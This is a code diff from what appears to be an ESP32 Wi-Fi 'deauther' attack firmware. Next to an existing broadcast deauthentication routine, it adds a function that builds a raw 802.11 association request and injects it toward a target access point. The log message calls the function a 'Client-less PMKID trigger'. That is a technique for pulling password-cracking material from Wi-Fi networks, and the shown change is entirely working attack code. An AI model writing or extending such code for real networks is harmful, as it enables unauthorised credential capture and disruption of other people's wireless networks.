@@ -136,3 +136,69 @@ void wifi_deauther_send_broadcast_deauth(const wifi_ap_record_t *ap_record, deau
136136 wifi_deauther_send_raw_frame (deauth_frame , sizeof (deauth_frame_invalid_auth ));
137137}
138138
139+ void wifi_send_association_request (const wifi_ap_record_t * ap_record ) {
140+ if (ap_record == NULL ) return ;
141+
142+ // Switch to target channel first
143+ esp_wifi_set_channel (ap_record -> primary , WIFI_SECOND_CHAN_NONE );
144+
145+ // Construct Association Request Frame
146+ // Fixed size parts + dynamic SSID len + Rates
147+ uint8_t packet [128 ];
148+ memset (packet , 0 , sizeof (packet ));
149+ int idx = 0 ;
150+
151+ // --- MAC Header ---
152+ packet [idx ++ ] = 0x00 ; // Type: Mgmt (0), Subtype: Assoc Req (0)
153+ packet [idx ++ ] = 0x00 ; // Flags
154+ packet [idx ++ ] = 0x3a ; // Duration (approx)
155+ packet [idx ++ ] = 0x01 ;
156+
157+ // Addr1 (Dest): Target BSSID
158+ memcpy (& packet [idx ], ap_record -> bssid , 6 ); idx += 6 ;
159+
160+ // Addr2 (Src): Our Station MAC (spoofing implies we use our current STA mac or random)
161+ // Using hardware MAC for now to receive the reply easily
162+ uint8_t my_mac [6 ];
163+ esp_wifi_get_mac (WIFI_IF_STA , my_mac );
164+ memcpy (& packet [idx ], my_mac , 6 ); idx += 6 ;
165+
166+ // Addr3 (BSSID): Target BSSID
167+ memcpy (& packet [idx ], ap_record -> bssid , 6 ); idx += 6 ;
168+
169+ // Seq Ctrl
170+ packet [idx ++ ] = 0x00 ;
171+ packet [idx ++ ] = 0x00 ;
172+
173+ // --- Frame Body ---
174+ // Capability Info (Ess + Privacy usually)
175+ packet [idx ++ ] = 0x31 ;
176+ packet [idx ++ ] = 0x04 ;
177+
178+ // Listen Interval
179+ packet [idx ++ ] = 0x0A ;
180+ packet [idx ++ ] = 0x00 ;
181+
182+ // Tag 0: SSID
183+ packet [idx ++ ] = 0x00 ; // Tag ID
184+ uint8_t ssid_len = strlen ((char * )ap_record -> ssid );
185+ packet [idx ++ ] = ssid_len ;
186+ memcpy (& packet [idx ], ap_record -> ssid , ssid_len ); idx += ssid_len ;
187+
188+ // Tag 1: Supported Rates (Standard set)
189+ uint8_t rates [] = {0x82 , 0x84 , 0x8b , 0x96 , 0x24 , 0x30 , 0x48 , 0x6c };
190+ packet [idx ++ ] = 0x01 ; // Tag ID
191+ packet [idx ++ ] = sizeof (rates );
192+ memcpy (& packet [idx ], rates , sizeof (rates )); idx += sizeof (rates );
193+
194+ // Tag 50: Extended Supported Rates
195+ uint8_t ext_rates [] = {0x0c , 0x12 , 0x18 , 0x60 };
196+ packet [idx ++ ] = 50 ; // Tag ID
197+ packet [idx ++ ] = sizeof (ext_rates );
198+ memcpy (& packet [idx ], ext_rates , sizeof (ext_rates )); idx += sizeof (ext_rates );
199+
200+ // Send
201+ ESP_LOGI (TAG , "Sending Association Request to target: %s (Client-less PMKID trigger)" , ap_record -> ssid );
202+ wifi_deauther_send_raw_frame (packet , idx );
203+ }
204+
0 commit comments